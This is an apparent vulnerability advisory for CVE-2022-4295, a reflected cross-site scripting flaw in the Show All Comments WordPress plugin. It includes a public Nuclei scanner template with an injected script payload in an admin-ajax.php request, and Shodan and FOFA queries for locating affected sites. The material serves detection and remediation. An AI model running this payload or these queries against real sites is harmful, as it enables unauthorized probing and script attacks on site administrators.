CVE-2022-4295: Show all comments < 7.0.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Show all comments | POC: 已公开

漏洞描述

The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.

PoC代码[已公开]

id: CVE-2022-4295

info:
  name: Show all comments < 7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4ced1a4d-0c1f-42ad-8473-241c68b92b56
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4295
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4295
    cwe-id: CWE-79
    epss-score: 0.13246
    epss-percentile: 0.9392
    cpe: cpe:2.3:a:appjetty:show_all_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appjetty
    product: show_all_comments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/show-all-comments-in-one-page
    fofa-query: body=/wp-content/plugins/show-all-comments-in-one-page
    publicwww-query: /wp-content/plugins/show-all-comments-in-one-page
  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page,appjetty

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "Select </option>")'
        condition: and
# digest: 4a0a0047304502200d6e6a46f9663e3e6048f01af857eec31f0412afa1ba10fa8731be94392d4dfb022100cb0089e395357a428894d375ae3f6a0a65fa7a7838f61198b3eb1a5b0fd24bf9:922c64590222798bb761d5b6d8e72950